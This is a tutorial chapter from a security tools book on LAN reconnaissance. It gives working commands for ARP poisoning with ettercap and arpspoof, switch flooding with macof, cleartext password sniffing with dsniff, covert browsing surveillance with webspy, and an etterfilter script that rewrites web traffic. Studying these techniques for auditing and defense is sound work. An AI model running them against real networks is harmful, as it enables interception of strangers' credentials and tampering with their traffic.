Chapter 4. LAN Reconnaissance

This chapter covers LAN reconnaissance; specifically, it covers capturing packets and scoping out the LAN environment using ettercap-ng, p0f, and dsniff. When investigating a LAN, your goals can sometimes be at odds with each other. Are you trying to be quick? Is stealth a factor? Sometimes going for speed can compromise your intentions (whatever they may be). The nature of the LAN itself poses some questions as well. What physical access to the LAN do you have? Is the LAN switched? What kind of monitoring is present? What are the repercussions of being discovered?

Topics that are discussed in this chapter include:

  • Scanning for hosts on a network segment

  • Capturing packets on a switched network

  • Defeating some common obstacles

  • Identifying hosts and sniffing passwords

  • Making changes to packet data

Before we begin, let’s talk briefly about the tools we’ll be using.

ettercap is written by Alberto Ornaghi and Marco Valleri. ettercap strives to be the most capable packet sniffer for use in a switched environment. The differences between the older ettercap program and the newer ettercap-ng are numerous, but in a nutshell, some of the biggest changes are unified sniffing and layer 3 routing. The ettercap-ng project homepage can be found at Along with downloads for source and binaries, the site includes documentation and the community forum.

The dsniff suite was written by Dug Song. dsniff is a collection of tools for network auditing and penetration testing and consists of arpspoof, dnsspoof, dsniff, filesnarf, macof, mailsnarf, msgsnarf, sshmitm, urlsnarf, webmitm, and webspy. dsniff is available at

Finally, p0f was written by Michal Zalewski. p0f version 2 is a versatile, passive OS fingerprinting tool. p0f is available at along with documentation and additional information on network reconnaissance.

Mapping the LAN

The first part of reconnaissance is finding hosts on the LAN. Assuming you are on a machine that is connected to the LAN and it has a working network interface, the most direct method is to ping every IP address and see who responds. Unfortunately, not every ping is created equal. The version that ships with Windows is pretty limited and does not support pinging a broadcast address. The ping that comes with most BSD systems sometimes supports pinging an entire subnet and sometimes it does not. The ping that comes with the Linux netkit typically supports the -b option, which allows pinging a broadcast address.

Since pinging a broadcast address is such an uncertain event, it’s not worth even investigating the possibility. Instead, if doing reconnaissance on, for example, a class C-sized network from a Unix system, it’s more productive to do a bash one-liner at the command line:

[lou@duodenum] x=1; while [ $x -lt "255" ]; do ping -c 1 10.150.9.$x | grep "bytes fr
om" |  awk '{print $4 " up"}'; let x++; done up up up up up up up up up up

If this takes a long time on your network, you can speed things up by using a shorter timeout. Most Unix versions of ping support the -t (timeout) option. If the LAN is fast, a 300-millisecond timeout should be very safe.

If you suspect the network is prone to losing packets, use two pings to deal with the possibility of packet loss and then filter the results with sort and uniq. Here is an example of running the same ping-sweep with a 300-millisecond timeout on a fast and lossy network:

[lou@duodenum] x=<low_ip>; while [ $x -lt" <high_ip>" ]; do ping -t 0.3 -c 2
<network>$x | grep "bytes from" |  awk '{print $4 " up"}' | sort | uniq; let
x++; done

This is hardly the optimal way to map out a LAN, but unlike more esoteric tools, you can count on bash, ping, grep, awk, sort, and uniq to be on just about every modern Unix-flavored machine you work with. As complicated as the command looks in print, it is easy to remember the concepts.

On a Microsoft Windows machine, things are a bit different. Again, even though it is not the optimal way of doing a ping-sweep, it is pretty easy to perform in a CMD window to see what hosts are available:

C:\Documents and Settings\lou> for /L %H in (1,1,254) DO ping -w 30 -n1 10.150.9.%H |
 find "Reply" >> hostlist.txt
C:\Documents and Settings\lou> more hostlist.txt
Reply from bytes=32 time<1ms TTL=128
Reply from bytes=32 time<1ms TTL=64
Reply from bytes=32 time<1ms TTL=64

For a smaller LAN, or if you are working with a smaller subnet of a large LAN, this works pretty well to give you an idea of what hosts are up and responding to ICMP.

One big problem with using these one liners is that you will get noticed. Sending a lot of ICMP messages to every host in sequential order is very noisy and exactly the kind of behavior a decent IDS system detects. Also, this method assumes that your machine is already connected to the LAN with correct TCP/IP settings. It also assumes that all the machines you are trying to map are responding to ICMP Echo packets. (Plenty of boxes are running host-based firewalls these days, and it is entirely conceivable that someone has disabled ICMP replies in their security policy.)

There are other ways to find out who and what is on a LAN. Most of the methods illustrated in the following sections revolve around investigating the Layer 2 (a.k.a. the Link Layer) aspects of a LAN.


Although there are Windows versions of the tools covered here, the functionality of the Win32 versions may be limited. It is better to acquire a version of Linux running on a laptop so you can get the most functionality out of these programs. I am a big fan of the Knoppix Security Tools Distribution Live CD. This CD-ROM allows you to boot into a complete Linux environment without having to install anything permanently to your hard drive. Unfortunately, as I write this, the current version of Knoppix-STD runs the older 0.6.b version of ettercap, whereas the examples in this chapter use version 0.7.3.

I do not have any formal connection to the Knoppix-STD project—or to any of the tools I cover here for that matter. I just like the whole security package provided on one disc.

Using ettercap and arpspoof on a Switched Network

In IT in the early 1990s, just about every LAN used 10baseT hubs. The ones that did not were still using 10base2 with BNC coax connectors, and you had to restart all the hosts if you wanted to add a new machine to the network. Hubs brought us a great amount of flexibility by allowing us to add hosts dynamically with less downtime. As the number of hosts and network interface speeds increased, the total bandwidth exceeded the capability for a single hub, and we all started upgrading our LANs to Ethernet switches.

The basic problem of capturing packets on a switched network, as opposed to a hub, is that the Ethernet frames are not copied to every port on the switch. For example, if host A is plugged into switch port 1 and needs to talk to host B on port 2, the switch sets up a temporary electrical connection between port 1 and port 2. Once the switch creates the connection, the network conversation is relatively private. The switch does this by maintaining a list of which hosts are plugged into which switch ports and uses their MAC addresses to uniquely identify them.

One way to listen to a network conversation is to falsely identify yourself to the other computers on the network and convince them that you are the machine to which they wish to talk. This technique is referred to as ARP spoofing (also known as ARP poisoning) and is the method ettercap and arpspoof use.

You can get ettercap at ( and arpspoof (part of the dsniff package) at˜dugsong/dsniff.

Running ettercap

The command-line switches for ettercap are well documented in the included manual page, so I will simply point out some of the ones I use the most. I tend to run ettercap on a command line as opposed to using the curses or GTK+ interface because I like to script my tools as much as possible, as well as redirect output to other programs, such as perl scripts or the old reliable sed, grep, and awk. I will occasionally show the GTK+ or curses interfaces to highlight some functionality when necessary.

When run at the command line in text mode, ettercap places the default interface into promiscuous mode and shows you packet data for all packets it sees. Use the -q option in conjunction with the -T (text mode) option to quiet things down:

[lou@duodenum] ettercap -Tq

Now ettercap displays only status messages and help text.

To quickly sniff all hosts within your subnet, use the following command:

[lou@duodenum] ettercap -T -M arp:remote //

You should see something similar to:

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth1... (Ethernet)
  eth1 ->       00:0A:5E:02:3B:B3
Privileges dropped to UID 65534 GID 65534...
  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
2 hosts added to the hosts list...
ARP poisoning victims:
 GROUP 1 : ANY (all the hosts in the list)
 GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

The -M option sets the man-in-the-middle (MITM) mode. Other MITM options (other than arp) include icmp, dhcp, and port. Some of the other MITM modes are covered later in this chapter.

One of the best parts of running ettercap on a subnet is that you receive a list of machines and you get it fast. Running a host scan with an ancient Pentium 3 on a 100 Mbit network, you can expect to scan a class C subnet in about seven seconds.

If you are running ettercap in curses mode, you can start a scan either by using the menu or through the keyboard shortcut Ctrl-S, as shown in Figure 4-1.

Host scan in progress

Figure 4-1. Host scan in progress

A host scan floods the network with ARP packets and inserts your sniffer’s MAC address as the destination MAC for all traffic. Many networks have some kind of ARP monitoring enabled, but surprisingly, many do not—maybe because network administrators that run monitoring tools such as snort are constantly deluged with false-positives and they eventually stop looking. Because a lot of common network misconfigurations can cause the occasional short-lived ARP storm, too many administrators stop considering it a threat.

Once the host scan is complete, press the H key to display the results, including the MAC addresses, as shown in Figure Figure 4-2.

This host list goes to eleven

Figure 4-2. This host list goes to eleven

Now, to poison the ARP caches of all the listed hosts, set the man-in-the-middle mode to ARP by selecting Mitm → Arp poisoning. If the keyboard focus is on one of the other windows, tap the Tab key until the menu bar is highlighted. Figure 4-2 shows that the host list has the current focus.

Running arpspoof from the dsniff suite

arpspoof is much simpler than ettercap to redirect packets. The syntax is:

[lou@duodenum] arpspoof [ -i 
 ] [ -t  <target>
 ]  intercepted-host

Specifying the interface is optional; the default is used if the option is omitted. If the target option is omitted, then all hosts on the LAN are fooled into thinking the sniffer is the intercepted host. Some people believe that the intercepted host should be the default gateway, but in my experience, some of the most interesting traffic (and cleartext passwords, by the way) can be found inside the LAN itself, going from host to host.

arpspoof uses the same ARP Reply technique as ettercap does, but one crucial difference between the programs is that arpspoof does not handle any packet forwarding, so if you forget to turn on IP forwarding in your kernel or use some other method of forwarding packets, the connections you sniff are half-duplex.

Dealing with Static ARP Tables

If the LAN you are sniffing uses static ARP mapping, or retains ARP information for a very long time, normal ARP poisoning will not work because each host ignores any ARP Reply messages you send.

Even though it is not stealthy in the least, my favorite way is to use ettercap’s port mode and basically blast the existing hosts out of the switch’s internal MAC table. It is going to take some explaining to truly appreciate how this works.

When you use ettercap’s port mode, it floods the network with crafted ARP packets. Each packet has the source MAC set to a valid network host and the destination MAC set to your sniffer’s interface. This accomplishes two tasks. First, you fool the switch into creating a connection for every host on the network and your network interface. Secondly, you stand a very good chance of knocking every other entry in the switch’s MAC table out. For a moment, the switch sends packets originally destined for another host to your network port, and from there the packets go to your interface. Under normal circumstances, your interface would recognize that these packets are destined for a different MAC and ignore them, but in this case, ettercap accepts the packets and records the valid destination MAC. Then, ettercap sends an ARP Request packet to the valid MAC and waits for an ARP Reply to come from that machine. When the ARP Reply is received, ettercap knows that the switch has sorted everything out again, and so it repeats the process of flooding the LAN with crafted ARP packets.

Amazingly, this works well enough to capture most, if not all, of the traffic between any two hosts:

[lou@duodenum] ettercap -Tq -M port:remote

ettercap can also circumvent static ARP tables using crafted ICMP Redirect packets. Basically, ettercap is telling the other hosts on the LAN that it is a better gateway than the default router. Unfortunately, this technique results in a half-duplex sniffing session; you can see traffic that the internal hosts are sending out, but the replies from systems beyond the gateway are not intercepted:

[lou@duodenum] ettercap -Tq -M icmp:00:0A:5E:02:3B:B3/

ettercap’s dhcp MITM mode takes a long time because you have to wait for a host to renew their DHCP lease; however, if you are interested in how it works, the ettercap manpage covers it in detail.

Using macof to Stupefy a Switch

dsniff handles the problem of static ARP tables in a different way. The MAC OverFlow (macof ) program floods the switch and the rest of the network with bogus MAC addresses with the intention of overloading the switch’s processor and memory limitations and forcing the switch to revert to hub mode. A surprising number of switches actually do this; rather than drop packets when overloaded, the switch willingly turns off the switching features designed to provide speed and drops to a hub mode, spamming every Ethernet frame it sees to every port. If this happens, you will suddenly start receiving frames intended for some other port, and you can begin sniffing as if you were connected to a hub. Once the network quiets down, the switch regains its composure. To prevent this from happening, stick macof into a simple while loop to have it run periodically:

[lou@duodenum] while [ 1 ] ; do macof -n 300000 ; sleep 59 ; done

The -n option sets the number of packets to send.

Super-Stealthy Sniffing

The bridge mode in ettercap requires two interfaces and proper positioning on the network segment. If you set up your machine inline with the network bridge or a router and enable bridged mode, you are very difficult to detect. Also, you are in a good position to play around with the data inside packets traversing your sniffer:

[lou@duodenum] ettercap -Tq -i eth0 -B eth1

The -i option sets the primary interface (here it’s eth0), and the -B option sets the second bridging interface.

Since bridged mode requires two interfaces, casual sniffing on the LAN with a laptop is more difficult. The reason you may be interested in using bridged mode is that it is stealthy. You do not have to spray the LAN with ARP packets, nor do you have to win any DHCP races with some random server. You can sit quietly and intercept packets without putting any of your interfaces into promiscuous mode.

If you like to run ettercap using the curses or GTK+ user interface, you can enable bridged mode when ettercap first starts by selecting the menu item “Sniff → Bridged sniffing . . . " as shown in Figure 4-3.

Enabling bridge mode sniffing

Figure 4-3. Enabling bridge mode sniffing

Once you have established yourself in bridge mode, sniffing and other functions are mostly the same as using Unified Sniffing mode, aside from some incompatibilities with a few MITM modes. The manpage contains a good explanation of what is going on.

Getting Information from the LAN

Here are some useful techniques for getting info out of the LAN you’re sniffing.

Logging Packet Data

If you want to log packets you see in a file using the tools already covered, the process is actually somewhat standardized. If you are running p0f to fingerprint operating systems on the network, you can log results with the -o option.

If you would rather dump all packets to a file similar to the way you would with tcpdump(see Chapter 18), you can give p0f the -w (write packets) option:

[lou@duodenum] p0f -w session.pcap

The same holds true for dsniff; you can write packets to a file using the -w option:

[lou@duodenum] dsniff -w sniffedsession.pcap

ettercap also allows dumping packet data to a file. Again, the -w option is used to facilitate writing captured traffic:

[lou@duodenum] ettercap -T -i eth0 -w captured.pcap -M arp:poison //

Filtering Incoming Packets

ettercap, p0f, and dsniff all support BPF-style filters in the same format as tcpdump.

For example, this commands dsniff to listen for cleartext passwords in Telnet traffic going to

[lou@duodenum] dsniff host and port 23

This commands p0f to fingerprint FTP traffic coming from or going to

[lou@duodenum] p0f dst port 21 and (src host or dst host

Setting BPF filters in ettercap requires the -f (filter) option. This example commands ettercap to run in promiscuous mode on the default interface, listening for HTTP traffic with a packet size greater than 256 bytes:

[lou@duodenum] ettercap -T -f port 80 and greater 256

To filter ettercap’s packet data output (referred in the manpage as visualization) according to a regular expression, use the -e option:

 [lou@duodenum] ettercap -T -e "foo|bar"

If you know what data you are looking for, the regular expressions can end up looking pretty complex:

[lou@duodenum] ettercap -T -e "[yY]ou shall be ([aq][bu][ci](et)?\.)|foobar"

You can combine BPF filters with packet logging to filter sessions with particular characteristics:

[lou@duodenum] p0f -w logging.pcap dst port 21 and src host

Fingerprinting LAN Hosts

If you are investigating a network and find that there are 60 or so Windows XP machines and one Solaris box, you may want to know why that one SUN box is there, right? It would also be interesting if you could identify which machines are running what operating system. To do that, let’s use a technique called OS fingerprinting.

Various programs can provide good OS identification. For example, the widely used and famous Nmap program (available from uses a technique of active fingerprinting. Nmap sends packets to a host with particular TCP/IP options and headers set, and then sees how the machine responds.

Use the -O option to tell nmap that you want to fingerprint a host (for more on Nmap, see Chapter 2:

[lou@duodenum] nmap -O
Starting Nmap 4.10 ( ) at 2006-07-26 18:23 PDT
Interesting ports on
Not shown: 1677 closed ports
22/tcp   open  ssh
6000/tcp open  X11
MAC Address: 00:16:CB:96:89:73 (Apple Computer)
Device type: general purpose
Running: Apple Mac OS X 10.3.X
OS details: Apple Mac OS X 10.3.5 or 10.3.7
Nmap finished: 1 IP address (1 host up) scanned in 35.251 seconds

Another method utilizes a technique called passive fingerprinting. Passive fingerprinting works by quietly examining packets for telltale patterns, not by sending data directly to a target host.

One of the granddaddies of passive fingerprinting is p0f, the Passive Operating System Fingerprinter. The O in operating system is replaced with a 0 (zero) character.

At its heart, p0f is trivial to use:

[lou@duodenum] p0f
p0f - passive os fingerprinting utility, version 2.0.5
(C) M. Zalewski <>, W. Stearns <>
p0f: listening (SYN) on 'eth1', 231 sigs (13 generic), rule: 'all'. - FreeBSD 4.7-5.2 (or MacOS X 10.2-10.3) (1) (up: 4511 hrs)
  -> (distance 0, link: ethernet/modem)

p0f listens to an interface (optionally specified by the -i option) for incoming SYN packets and then attempts to match the packet to a database of known characteristics. It is quite good at detecting the general flavor of the operating system.

One thing you might like to do is save network traffic with tcpdump and analyze the packets at your leisure using specialized tools. To have p0f read from a libpcap capture file, specify the -s option:

[lou@duodenum] p0f -s 200603031121-capture.pcap

A nice and relatively quiet way to get an idea of what is on the LAN is to arpspoof the gateway, use tcpdump to save a few hours of traffic, and then run p0f to identify the hosts.

ettercap can also fingerprint hosts. With the -P option, you can enable an ettercap plug-in by name:

[lou@duodenum] ettercap -Tq-P finger /
ettercap NG-0.7.3  copyright 2001-2004 ALoR & NaGA
 FINGERPRINT      : FFFF:05B4:40:00:0:1:1:1:A:3C
 OPERATING SYSTEM : Mac OS X (Panther) ver. 10.3.3 (7F44)

This fingerprinting is slightly out of date. I ran this against a Macintosh running Mac OS X 10.4.7 (Tiger), and as you can see, ettercap misidentified it as 10.3.3 (Panther).

ettercap 0.7.3 ships with 27 useful plug-ins and one plug-in called dummy for developers to get their feet wet. The arp_cop plug-in is quite useful for detecting unscrupulous users running ettercap on your LAN.

Figure 4-4 shows what the plug-in list looks like in the GTK+ interface.

ettercap sure has a lot of plug-ins

Figure 4-4. ettercap sure has a lot of plug-ins

Sniffing Plain-Text Passwords

If you are a security researcher or an administrator, you want to get an idea of how often plain-text passwords are used on your network. If it is easy for you to sniff a password, it is easy for the bad guy to sniff the same information.

ettercap makes it trivial to sit on a LAN segment and simply sniff traffic for plain-text passwords. Run the command:

[lou@duodenum] ettercap -Tq -i eth0 -M arp:remote -l /tmp/passwords

and ettercap sniffs on interface eth0 and logs all sniffed passwords. The -l option tells ettercap to log session information to an .eci file (in this case, the info is saved to /tmp/passwords.eci). If you want to log all the packet data as well, use the -L flag, and the packet data is saved to an .ecp file of the same name. For the preceding example, this is /tmp/passwords.ecp. These logfiles can be read back though etterlog. If you want ettercap to write packets to a libpcap file à la tcpdump, use the -w option.

If ettercap makes it trivial to capture cleartext passwords, the dsniff program makes it stupidly simple:

[lou@duodenum] dsniff
dsniff: listening on eth1
07/24/06 16:21:51 tcp -> (ftp)
USER louzah
PASS foolish

dsniff supports well over 30 protocols, including all of the well-known plain-text protocols (POP, IMAP, Telnet, FTP, HTTP) as well as several databases (Oracle SQL*Net, Microsoft SQL) and most of the common chat protocols (AOL Instant Messenger, ICQ).


Running dsniff on your network can suddenly create a lot of work for you or your network administrator as you discover how many applications send sensitive data in the clear. ;-)

Shadow Browsing

After arpspoof-ing the gateway, there’s nothing quite like sneaking a look at what people are browsing. The dsniff suite includes a utility called webspy that surfs along with another host on the LAN by extracting the URLs they visit and opening them in your browser:

[lou@duodenum] webspy

If you are running a Gecko-based browser such as Firefox or Mozilla, webspy opens URLs right along with whatever and wherever that host visits. Unfortunately, webspy cannot tell you whether the person is actually browsing to a particular site, or whether they are running wget inside a scripted loop, generating a large number of URLs to, say, a JPEG of the Goatse Guy. (Not that you should ever do this if you suspect your browsing habits are being tracked.)

Manipulating Packet Data

Sniffing packets is interesting in its own right, but being able to actually change the data inside a packet and send it on its way without the originator’s knowledge is really cool. One of the neatest things ettercap can do is modify data inside a packet on the fly. Since ettercap was designed from the start to act as a man-in-the-middle, it is in a prime location to alter packets passing between two hosts and launch attacks by inspecting and injecting data. So you can do something juvenile such as denying service to a host by sending reset packets into a session or inserting dirty words into someone’s AIM chat. You can launch far more devious and dangerous attacks such as spoof DNS replies and send victims to hosts of your choice. Or inject HTML or JavaScript into web pages and make fun things happen to a client browser.

ettercap allows you to create a series of filters to find the bytes you want to alter, and then provides a way to easily replace information with whatever you want. Other on-the-fly packet manipulation programs—for example, airpwn—allow the same kind of manipulation. See Chapter 8 for more information on airpwn.

Creating an ettercap filter is pretty straightforward. You decide what data you want to replace and with what. A fun and common scenario is to replace web images with some image of your choosing. In this example, I’m going to replace any image with my own image called OWNED.gif, which is shown in Figure 4-5.

This should let the user know that something is different

Figure 4-5. This should let the user know that something is different

First of all, let’s make a filter. Fire up your favorite text editor and create a new file called owned.filter:

# owned.filter

if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://skeena/OWNED.gif \" ");
 msg("image replaced\n");

Then you need to compile the filter using ettercap’s filter compiler called, conveniently enough, etterfilter:

skeena:˜> etterfilter owned.filter -o owned.ef

After running etterfilter, you should see the following output:

etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA
 12 protocol tables loaded:
        DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth

 11 constants loaded:

 Parsing source file 'owned.filter'  done.
 Unfolding the meta-tree  done.
 Converting labels to real offsets  done.
 Writing output to 'owned.ef'  done.
 -> Script encoded into 7 instructions.

OK, so now let’s fire up ettercap and use it to run the filter:

skeena:˜>ettercap -Tq -I eth0 -F owned.ef -M ARP / //

See Figure 4-6 for an example.

Now that should get someone’s attention!

Figure 4-6. Now that should get someone’s attention!

Now, every time a packet traverses your sniffing machine, the frame containing img src= information will be rewritten and the string image replaced will appear as output on the console. Now, this is pretty imperfect, since it requires that whoever wrote the web page you’re trying to muck with always writes <img src=someimage> or the like, which is of course not always the case. Many people write <img align="top" height="128" src="foo"> and so forth. Since protocols such as HTML allow you to put many different elements in different order, your filter won’t work on 100 percent of the web pages out there. But at least you have a good idea as to what’s required to write a filter.

As a last footnote to end this chapter, there’s an excellent tutorial about filter writing at

—Eric Markham

Get Security Power Tools now with O’Reilly online learning.

O’Reilly members experience live online training, plus books, videos, and digital content from 200+ publishers.